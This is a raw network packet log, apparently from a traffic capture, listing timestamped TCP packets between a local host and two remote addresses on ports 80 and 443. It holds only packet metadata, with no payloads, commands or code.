Dec 18, 2024 21:30:28.371094942 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.376378059 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.376398087 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.376461029 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.376468897 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.376508951 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.402878046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.402956963 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.403026104 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.403067112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.403367043 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.403410912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.403703928 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.403744936 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.404584885 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.404634953 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.404696941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.404736042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.405461073 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.405503035 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.405673027 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.405713081 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.406548977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.406599998 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.406722069 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.406768084 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.407639027 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.407680988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.407742977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.407795906 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.409080982 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.409133911 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.409337044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.409372091 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.409820080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.409861088 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.409960032 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.409996033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.410829067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.410873890 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.411180973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.411217928 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.412009954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.412045956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.412069082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.412102938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.412863970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.412900925 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.413045883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.413081884 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.413964033 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.414010048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.414127111 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.414175034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.415092945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.415137053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.415323019 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.415364981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.416290998 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.416333914 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.416619062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.416661024 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.417336941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.417381048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.417495012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.417536020 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.418438911 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.418488026 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.418611050 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.418652058 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.419531107 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.419579029 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.419735909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.419771910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.420619011 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.420660019 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.420698881 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.420737982 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.421554089 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.421614885 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.421773911 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.421813011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.422602892 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.422650099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.422777891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.422885895 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.423672915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.423715115 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.423788071 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.423862934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.424897909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.424937963 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.425071955 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.425107002 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.425929070 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.425967932 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.426033974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.426068068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.427046061 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.427094936 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.427285910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.427330971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.428116083 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.428162098 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.428325891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.428371906 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.429251909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.429296017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.429361105 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.429402113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.430166960 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.430213928 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.430419922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.430458069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.431242943 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.431297064 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.431372881 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.431413889 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.432285070 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.432334900 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.432475090 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.432519913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.433374882 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.433417082 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.433490038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.433526993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.434303999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.434357882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.434418917 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.434453964 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.435434103 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.435492039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.435540915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.435581923 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.436583042 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.436623096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.436744928 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.436785936 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.437649965 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.437693119 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.437836885 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.437874079 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.438868999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.438916922 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.439120054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.439162970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.440128088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.440181017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.440319061 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.440371037 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.441560984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.441608906 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.441637993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.441688061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.442691088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.442744017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.442898035 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.442948103 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.443948984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.444005966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.444248915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.444293976 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.445275068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.445324898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.445462942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.445508003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.446599960 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.446824074 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.446852922 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.446868896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.447751045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.447796106 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.447897911 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.447937012 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.448949099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.449069977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.449086905 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.449130058 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.449817896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.449861050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.449973106 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.450015068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.450572014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.450615883 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.450781107 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.450822115 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.451749086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.451792002 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.451895952 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.451936960 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.452707052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.452770948 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.452828884 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.452863932 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.453560114 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.453613043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.453658104 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.453699112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.454333067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.454390049 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.454422951 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.454468012 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.455250025 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.455295086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.455410004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.455454111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.456264019 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.456321001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.456450939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.456501961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.457128048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.457179070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.457345009 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.457391024 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.458180904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.458324909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.458379984 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.458889961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.458940983 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.474935055 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.474968910 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.475039959 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.475039959 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.475074053 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.475114107 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.480676889 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.480732918 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.480756998 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.480792046 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.480813026 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.480832100 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.486748934 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.486804962 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.486829996 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.486864090 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.486882925 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.486903906 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.492400885 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.492451906 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.492474079 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.492501974 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.492521048 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.492538929 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.498776913 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.498831034 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.498928070 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.498960972 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.499005079 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.499016047 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.504772902 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.504827976 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.504843950 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.504878998 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.504904032 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.505026102 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.563858986 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.563925982 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.564021111 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.564059019 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.564081907 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.564387083 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.569334984 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.569396019 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.569411039 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.569441080 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.569461107 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.569622040 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.595243931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.595341921 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.595380068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.595431089 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.595597982 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.595648050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.595797062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.595845938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.596514940 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.596560001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.596904039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.596946001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.597556114 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.597599983 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.597744942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.597790003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.598640919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.598692894 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.598783970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.598828077 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.599656105 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.599700928 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.599832058 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.599873066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.600747108 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.600790977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.600876093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.600918055 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.601855993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.601900101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.602034092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.602077007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.603001118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.603045940 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.603108883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.603151083 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.604007959 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.604082108 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.604146004 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.604990959 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.605041027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.605134010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.605175972 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.606053114 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.606106043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.606338978 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.606381893 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.607494116 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.607536077 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.607738018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.607779980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.609236956 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.609282970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.609540939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.609585047 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.610443115 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.610487938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.610579967 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.610622883 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.611233950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.611279964 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.611406088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.611444950 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.612037897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.612082005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.612158060 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.612200022 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.612765074 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.612807035 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.612849951 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.612893105 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.613548994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.613599062 CET	49808	80	192.168.2.5	31.41.244.11
